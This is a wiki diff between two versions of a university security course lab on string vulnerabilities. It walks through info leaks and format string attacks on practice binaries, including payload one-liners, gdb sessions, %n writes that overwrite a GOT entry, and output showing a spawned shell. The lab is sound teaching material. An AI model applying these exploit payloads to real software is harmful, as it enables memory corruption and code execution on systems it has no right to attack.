Differences

This shows you the differences between two versions of the page.

Link to this comparison view

cns:labs:lab-07 [2020/11/22 19:54]
mihai.dumitru2201 [Lab 07 - Strings]
cns:labs:lab-07 [2022/11/21 14:29] (current)
mihai.dumitru2201 [Basic Format String Attack]
Line 1: Line 1:
 ====== Lab 07 - Strings ====== ​ ====== Lab 07 - Strings ====== ​
  
-===== Tasks ====+===== Tasks repository ​====
  
 All content necessary for the CNS laboratory tasks can be found in [[cns:​resources:​repo|the CNS public repository]]. ​ All content necessary for the CNS laboratory tasks can be found in [[cns:​resources:​repo|the CNS public repository]]. ​
Line 37: Line 37:
 We can test this using: We can test this using:
 <​code>​ <​code>​
-$ python -c 'print("​A"​*32)'​ | ./​basic_info_leak ​+$ python -c 'import sys; sys.stdout.buffer.write(b"​A"​*32)'​ | ./​basic_info_leak ​
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�8� AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�8�
 </​code>​ </​code>​
Line 43: Line 43:
 In order to check the hexadecimal values of the leak, we pipe the output through ''​xxd'':​ In order to check the hexadecimal values of the leak, we pipe the output through ''​xxd'':​
 <​code>​ <​code>​
-$ python -c 'print("​A"​*32)'​ | ./​basic_info_leak | xxd+$ python -c 'import sys; sys.stdout.buffer.write(b"​A"​*32)'​ | ./​basic_info_leak | xxd
 00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA 00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
 00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA 00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
Line 129: Line 129:
 $ gdb -q ./info_leak $ gdb -q ./info_leak
 Reading symbols from ./​info_leak...done. Reading symbols from ./​info_leak...done.
-gdb-peda$ b printf+gdb-peda$ b my_main
 Breakpoint 1 at 0x400560 Breakpoint 1 at 0x400560
 gdb-peda$ r < <(python -c '​import sys; sys.stdout.write(32*"​A"​)'​) gdb-peda$ r < <(python -c '​import sys; sys.stdout.write(32*"​A"​)'​)
 Starting program: info_leak < <(python -c '​import sys; sys.stdout.write(32*"​A"​)'​) Starting program: info_leak < <(python -c '​import sys; sys.stdout.write(32*"​A"​)'​)
 [...] [...]
 +
 +# Do next instructions until after the call to printf.
 +gdb-peda$ ni
 +....
  
 gdb-peda$ x/12g name gdb-peda$ x/12g name
Line 181: Line 185:
  
 <note tip> <note tip>
-Same as above, use ''​nm''​ to determine address of the ''​my_evil_func()''​ function.+Same as above, use ''​nm''​ to determine address of the ''​my_evil_func()''​ function.  
 +When sending your exploit to the remote server, adjust this address according to the binary running on the remote endpoint. The precompiled binary can be found in [[cns:​resources:​repo|the CNS public repository]].
 </​note>​ </​note>​
  
Line 193: Line 198:
  
 <note tip> <note tip>
-In case of a successful exploit the program will return with the ''​42''​ error code in the ''​my_evil_func()''​ function, same as below:+In case of a successful exploit the program will spawn a shell in the ''​my_evil_func()''​ function, same as below:
 <​code>​ <​code>​
 $ python exploit.py ​ $ python exploit.py ​
Line 200: Line 205:
 [*] old_rbp is 0x7fffffffdd40 [*] old_rbp is 0x7fffffffdd40
 [*] return address is located at is 0x7fffffffdd38 [*] return address is located at is 0x7fffffffdd38
-[*] Process '​./​info_leak'​ stopped with exit code 42 (pid 6422)+[*] Switching to interactive mode 
 +Returning from main! 
 +$ id 
 +uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
 </​code>​ </​code>​
 </​note>​ </​note>​
Line 258: Line 266:
 ==== Basic Format String Attack ==== ==== Basic Format String Attack ====
  
-You will now do a basic format string attack using the ''​basic-format-string/''​ subfolder ​in the [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-07.tar.gz|lab archive]]. The source code is in ''​basic_format_string.c''​ and the executable is in ''​basic_format_string''​.+You will now do a basic format string attack using the ''​03-basic-format-string/''​ subfolder. The source code is in ''​basic_format_string.c''​ and the executable is in ''​basic_format_string''​.
  
-You need to use ''​%n''​ to overwrite the value of the ''​v''​ variable to ''​200''​. You have to do three steps:+You need to use ''​%n''​ to overwrite the value of the ''​v''​ variable to ''​0x300''​. You have to do three steps:
   - Determine the address of the ''​v''​ variable using ''​nm''​.   - Determine the address of the ''​v''​ variable using ''​nm''​.
   - Determine the ''​n''​-th parameter of ''​printf()''​ that you can write to using ''​%n''​. The ''​buffer''​ variable will have to be that parameter; you will store the address of the ''​v''​ variable in the ''​buffer''​ variable.   - Determine the ''​n''​-th parameter of ''​printf()''​ that you can write to using ''​%n''​. The ''​buffer''​ variable will have to be that parameter; you will store the address of the ''​v''​ variable in the ''​buffer''​ variable.
-  - Construct a format string that enables the attack; the number of characters processed by ''​printf()''​ until ''​%n''​ is matched will have to be ''​200''​.+  - Construct a format string that enables the attack; the number of characters processed by ''​printf()''​ until ''​%n''​ is matched will have to be ''​0x300''​.
  
 For the second step let's run the program multiple times and figure out where the ''​buffer''​ address starts. We fill ''​buffer''​ with the ''​aaaa''​ string and we expect to discover it using the ''​printf()''​ format specifiers. For the second step let's run the program multiple times and figure out where the ''​buffer''​ address starts. We fill ''​buffer''​ with the ''​aaaa''​ string and we expect to discover it using the ''​printf()''​ format specifiers.
Line 290: Line 298:
 </​code>​ </​code>​
  
-We need that number to be ''​200''​. You can fine tune the format string by using a construct such as ''​%32llx''​ to print a number on ''​32''​ characters instead of a maximum of ''​16''​ characters. See how much extra room you need and see if you reach ''​200''​ bytes.+We need that number to be ''​0x300''​. You can fine tune the format string by using a construct such as ''​%32llx''​ to print a number on ''​32''​ characters instead of a maximum of ''​16''​ characters. See how much extra room you need and see if you reach ''​0x300''​ bytes.
  
 <note important>​ <note important>​
Line 298: Line 306:
 After the plan is complete, write down the attack by filling the ''​TODO''​ lines in the ''​exploit.py''​ solution skeleton. After the plan is complete, write down the attack by filling the ''​TODO''​ lines in the ''​exploit.py''​ solution skeleton.
  
-After you write 200 chars in v, you should obtain shell+/* 
 +<note tip> 
 +When sending your exploit to the remote server, adjust this address according to the binary running on the remote endpoint. The precompiled binary can be found in [[cns:​resources:​repo|the CNS public repository]]. 
 +</​note>​ 
 +*/ 
 + 
 +After you write 0x300 chars in v, you should obtain shell
 <​code>​ <​code>​
-$ python ​exploit64.py +$ python ​exploit.py 
 [!] Could not find executable '​basic_format_string'​ in $PATH, using '​./​basic_format_string'​ instead [!] Could not find executable '​basic_format_string'​ in $PATH, using '​./​basic_format_string'​ instead
 [+] Starting local process '​./​basic_format_string':​ pid 20785 [+] Starting local process '​./​basic_format_string':​ pid 20785
Line 361: Line 375:
 By trial and error or by using GDB (breakpoint on ''​printf''​) we can determine where the buffer starts By trial and error or by using GDB (breakpoint on ''​printf''​) we can determine where the buffer starts
 <code bash> <code bash>
-$ ./format "​$(python -c '​import sys; sys.stdout.buffer.write(b"​ABCD"​ + b"​%08x\n ​  "​ * 200)'​)" ​ | grep -n 41 | head+$ ./format "​$(python -c '​import sys; sys.stdout.buffer.write(b"​ABCD"​ + b"​%08x\n ​  "​ * 0x300)'​)" ​ | grep -n 41 | head
 10:   ​ffffc410 10:   ​ffffc410
 52:   ​ffffcc41 52:   ​ffffcc41
Line 380: Line 394:
 pad = b"​ABCD"​ pad = b"​ABCD"​
 val_fmt = b"​%08x\n ​  "​ val_fmt = b"​%08x\n ​  "​
-fmt = pad + val_fmt * stack_items+# add a \n at the end for consistency with the command line run 
 +fmt = pad + val_fmt * stack_items ​+ b"​\n"​
  
 io = process(["​./​format",​ fmt]) io = process(["​./​format",​ fmt])
Line 454: Line 469:
 Bingo. We have memory write. The vulnerable code tried to write at the address ''​0x44434241''​ ("​ABCD"​ little endian) the value 1596. The value 1596 is the amount of data wrote so far by ''​printf''​ (''"​ABCD"​ + 199 * "​AAAAAAAA"''​). Bingo. We have memory write. The vulnerable code tried to write at the address ''​0x44434241''​ ("​ABCD"​ little endian) the value 1596. The value 1596 is the amount of data wrote so far by ''​printf''​ (''"​ABCD"​ + 199 * "​AAAAAAAA"''​).
  
-Right now, our input string has 1604 bytes. But we can further compress it, thus making the value that we write independent of the length of the input.+Right now, our input string has 1605 bytes (1604 with a ''​\n''​ at the end). But we can further compress it, thus making the value that we write independent of the length of the input.
  
 <code bash> <code bash>
Line 471: Line 486:
 Remember, we want to write a value to a certain address. So far we control the address, but the value is somewhat limited. If we want to write 4 bytes at a time we can make use of the endianess of the machine. **The idea** is to write at the address n and then at the address n+1 and so on. Remember, we want to write a value to a certain address. So far we control the address, but the value is somewhat limited. If we want to write 4 bytes at a time we can make use of the endianess of the machine. **The idea** is to write at the address n and then at the address n+1 and so on.
  
-Lets first display the address. We are using the address ''​0x804c008''​. This address is the address of the got entry for the puts function. Basically, we will override the got entry for the puts.+Lets first display the address. We are using the address ''​0x804c014''​. This address is the address of the got entry for the puts function. Basically, we will override the got entry for the puts
 + 
 +Check the ''​exploit.py''​ script from the task directory, read the commends and understand what it does.
  
 <code bash> <code bash>
-objdump ​-./​format ​| grep puts +python exploit.py 
-0804a008 R_386_JUMP_SLOT ​  puts +[*] '​format'​ 
-./​format ​"​$(python -c 'import sys; sys.stdout.buffer.write(b"\x08\xa0\x04\x08" + b"​\x09\xa0\x04\x08" + b"​\x0a\xa0\x04\x08" + b"​\x0b\xa0\x04\x08" + b"​A"​ * 498 + b"​%255x|"​ + b"​%126$08x"​ + b"​%255x|"​ + b"​%127$08x"​ + b"​%255x|"​ + b"​%128$08x"​)'​)"​+    Arch:     i386-32-little 
 +    RELRO: ​   Partial RELRO 
 +    Stack: ​   No canary found 
 +    NX:       NX enabled 
 +    PIE:      No PIE (0x8048000) 
 +[+] Starting local process './format': pid 29030 
 +[*] Switching to interactive mode 
 +[*] Process './​format' ​stopped with exit code 0 (pid 29030) 
 +\x14\x04\x15\x04\x17\x04\x18\x04 804c014 ​ 804c015 ​ 804c017 ​ 804c018 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... 
 +This is the most useless and insecure program! 
 +</​code>​
  
 +The output starts with ''​\x14\x04\x15\x04\x17\x04\x18\x04 804c014 ​ 804c015 ​ 804c017 ​ 804c018''​ which is the 4 addresses we have written (raw, little endian) followed by the numerical prints done with ''​%x''​ of the same addresses.
  
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ​... +If you have the same output it means that now, if you replace ''​%x''​ with ''​%n''​ (change ''​fmt = write_fmt''​ in the script) it will try to write something at those valid addresses.
-0|0804a008 +
-f7e2a4d3|0804a009 +
-2|0804a00a +
-ffffd2c4|0804a00b +
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            This is the most useless and insecure program!+
  
 +We want to put the value ''​0x080491a6''​.
 +<code bash> ​
 +$ objdump -d ./format | grep my_evil
 +080491a6 <​my_evil_func>:​
 </​code>​ </​code>​
-Why are we printing 498 ''​A''​s? We added 12 bytes before our format and 6 extra bytes for the output -- the ''​|'' ​is there only for pretty ​print. We want to keep in place the first argument -- anyway, you should always check this.+<note important>​ 
 +As ''​%n'' ​writes how many characters have been printed until it is reached, each ''​%n'' ​will print an incrementally larger value. 
 +We use the 4 adjacent adressess ​to write byte by byte and use overflows to reach a lower value for the next byte. 
 +For example, after writing ''​0xa6''​ we can write ''​0x0191'':​
  
-Lets replace the ''​%x''​ with ''​%n''​ +{{cns:labs:bytes_write.png?500}}
-<code bash> +
-$ ./format "​$(python -c '​import sys; sys.stdout.buffer.write(b"​\x08\xa0\x04\x08"​ + b"​\x09\xa0\x04\x08"​ + b"​\x0a\xa0\x04\x08"​ + b"​\x0b\xa0\x04\x08"​ + b"​A"​ * 498 + b"​%255x|"​ + b"​%126$08n"​ + b"​%255x|"​ + b"​%127$08n"​ + b"​%255x|"​ + b"​%128$08n"​ + b"​%255x|"​ + b"​%129$08n"​)'​)"​ +
-$ gdb ./format -c core +
-Program terminated with signal 11, Segmentation fault. +
-#0  0x02020202 in ?? () +
-(gdb) x/x 0x0804a000 +
-0x804a000 <​printf@got.plt>​: 0xf7e5ded0 +
-(gdb) x/x 0x0804a004 +
-0x804a004 <​fwrite@got.plt>​: 0x08048396 +
-(gdb) x/x 0x0804a008 +
-0x804a008 <​puts@got.plt>:​ 0x02020202 +
-(gdb) x/x 0x0804a00c +
-0x804a00c <​__gmon_start__@got.plt>:​ 0x08000006 +
-(gdb)  +
-</​code>​+
  
-In the gdb session above you can see: +Also, the ''​%n''​ count doesn'​t ​reset soif we want to write ''​0xa6''​ and then ''​0x91'​' the payload should be in the form of:
-  - the got entry for printf points to a library address (the address starts with 0xf) +
-  - the got entry for fwrite points to some code inside the binary. This means that the function wasn'​t ​yet calledthe loader didn't load this address yet. +
-  - the puts entry points to 0x02020202. This is the value that we wrote.+
  
-**How come we wrote the first ''​0x02''?​** +''​<0xa6 bytes>​%n<​0x100 - 0xa6 + 0x91 bytes>%n''​
-Just before executing the first ''​%n'' ​the vulnerable code printed 770 (4*4+498+256) bytes and hex(770) == 0x302.+
  
-**How come the rest of the bytes are ''​0x02''?​*+As mentionet earlier above, instead writing N bytes ''​"​A" ​N'' ​you can use other format strings like ''​%Nc'' ​or ''​%Nx''​ to keep the payload shorter
-After executing the first ''​%n''​ we printed another 256 bytes before each ''​%n'' ​so we actually wrote 0x402, 0x502 and 0x602. You can see that the last three bytes ''​%%__gmon_start__@got.plt%%'' ​are ''​0x000006''​. +</note>
- +
-We want to put the value ''​0x08048494''​. +
-<code bash>  +
-$ objdump -d ./format | grep my_evil +
-08048494 <​my_evil_func>:​ +
-</​code>​ +
-The first byte is ''​0x94''​ (little endian), recall that we were able to write ''​0x02'',​ writing ''​0x94''​ means replacing first 255 with 255-(0x102-0x94) == 145. +
-<code bash> +
-$ ./format "​$(python -c '​import sys; sys.stdout.buffer.write(b"​\x08\xa0\x04\x08"​ + b"​\x09\xa0\x04\x08"​ + b"​\x0a\xa0\x04\x08"​ + b"​\x0b\xa0\x04\x08"​ + b"​A"​ * 498 + b"​%145x|"​ + b"​%126$08n"​ + b"​%255x|"​ + b"​%127$08n"​ + b"​%255x|"​ + b"​%128$08n"​ + b"​%255x|"​ + b"​%129$08n"​)'​)"​ +
-$ gdb ./format -c core +
-#0  0x94949494 in ?? () +
-(gdb) quit +
-</​code>​ +
-The next byte that we want to write is ''​0x84''​ so we need to replace 255 with 235. We can continue this idea until we profit. +
-<code bash> +
-$ ./format "​$(python -c '​import sys; sys.stdout.buffer.write(b"​\x08\xa0\x04\x08"​ + b"​\x09\xa0\x04\x08"​ + b"​\x0a\xa0\x04\x08"​ + b"​\x0b\xa0\x04\x08"​ + b"​A"​ * 498 + b"​%145x|"​ + b"​%126$08n"​ + b"​%239x|"​ + b"​%127$08n"​ + b"​%127x|"​ + b"​%128$08n"​ + b"​%259x|"​ + b"​%129$08n"​)'​)"​ | tr -s ' ' > /dev/null +
-I'm evil, but nobody calls me :-( +
-</code>+
  
 **[1p] Bonus task** Can you get a shell? (Assume ASLR is disabled). **[1p] Bonus task** Can you get a shell? (Assume ASLR is disabled).
cns/labs/lab-07.1606067693.txt.gz · Last modified: 2020/11/22 19:54 by mihai.dumitru2201
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0